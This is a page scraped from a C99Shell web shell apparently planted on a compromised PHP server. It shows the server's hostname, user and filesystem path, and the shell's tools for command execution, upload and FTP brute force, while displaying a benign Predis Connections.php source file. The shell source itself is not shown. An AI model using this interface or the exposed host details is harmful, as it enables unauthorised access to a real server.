!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Configuration/Option/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Connections.php (4.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Configuration\Option;

use 
InvalidArgumentException;
use 
Predis\Configuration\OptionInterface;
use 
Predis\Configuration\OptionsInterface;
use 
Predis\Connection\Factory;
use 
Predis\Connection\FactoryInterface;
use 
Predis\Connection\PhpiredisSocketConnection;
use 
Predis\Connection\PhpiredisStreamConnection;
use 
Predis\Connection\RelayConnection;

/**
 * Configures a new connection factory instance.
 *
 * The client uses the connection factory to create the underlying connections
 * to single redis nodes in a single-server configuration or in replication and
 * cluster configurations.
 */
class Connections implements OptionInterface
{
    
/**
     * {@inheritdoc}
     */
    
public function filter(OptionsInterface $options$value)
    {
        if (
is_callable($value)) {
            
$value call_user_func($value$options);
        }

        if (
$value instanceof FactoryInterface) {
            return 
$value;
        } elseif (
is_array($value)) {
            return 
$this->createFactoryByArray($options$value);
        } elseif (
is_string($value)) {
            return 
$this->createFactoryByString($options$value);
        } else {
            throw new 
InvalidArgumentException(sprintf(
                
'%s expects a valid connection factory', static::class
            ));
        }
    }

    
/**
     * Creates a new connection factory from a named array.
     *
     * The factory instance is configured according to the supplied named array
     * mapping URI schemes (passed as keys) to the FCQN of classes implementing
     * Predis\Connection\NodeConnectionInterface, or callable objects acting as
     * lazy initializers and returning new instances of classes implementing
     * Predis\Connection\NodeConnectionInterface.
     *
     * @param OptionsInterface $options Client options
     * @param array            $value   Named array mapping URI schemes to classes or callables
     *
     * @return FactoryInterface
     */
    
protected function createFactoryByArray(OptionsInterface $options, array $value)
    {
        
/**
         * @var FactoryInterface
         */
        
$factory $this->getDefault($options);

        foreach (
$value as $scheme => $initializer) {
            
$factory->define($scheme$initializer);
        }

        return 
$factory;
    }

    
/**
     * Creates a new connection factory from a descriptive string.
     *
     * The factory instance is configured according to the supplied descriptive
     * string that identifies specific configurations of schemes and connection
     * classes. Supported configuration values are:
     *
     * - "phpiredis-stream" maps tcp, redis, unix to PhpiredisStreamConnection
     * - "phpiredis-socket" maps tcp, redis, unix to PhpiredisSocketConnection
     * - "phpiredis" is an alias of "phpiredis-stream"
     * - "relay" maps tcp, redis, unix, tls, rediss to RelayConnection
     *
     * @param OptionsInterface $options Client options
     * @param string           $value   Descriptive string identifying the desired configuration
     *
     * @return FactoryInterface
     */
    
protected function createFactoryByString(OptionsInterface $optionsstring $value)
    {
        
/**
         * @var FactoryInterface
         */
        
$factory $this->getDefault($options);

        switch (
strtolower($value)) {
            case 
'phpiredis':
            case 
'phpiredis-stream':
                
$factory->define('tcp'PhpiredisStreamConnection::class);
                
$factory->define('redis'PhpiredisStreamConnection::class);
                
$factory->define('unix'PhpiredisStreamConnection::class);
                break;

            case 
'phpiredis-socket':
                
$factory->define('tcp'PhpiredisSocketConnection::class);
                
$factory->define('redis'PhpiredisSocketConnection::class);
                
$factory->define('unix'PhpiredisSocketConnection::class);
                break;

            case 
'relay':
                
$factory->define('tcp'RelayConnection::class);
                
$factory->define('redis'RelayConnection::class);
                
$factory->define('unix'RelayConnection::class);
                break;

            case 
'default':
                return 
$factory;

            default:
                throw new 
InvalidArgumentException(sprintf(
                    
'%s does not recognize `%s` as a supported configuration string', static::class, $value
                
));
        }

        return 
$factory;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDefault(OptionsInterface $options)
    {
        
$factory = new Factory();

        if (
$options->defined('parameters')) {
            
$factory->setDefaultParameters($options->parameters);
        }

        return 
$factory;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--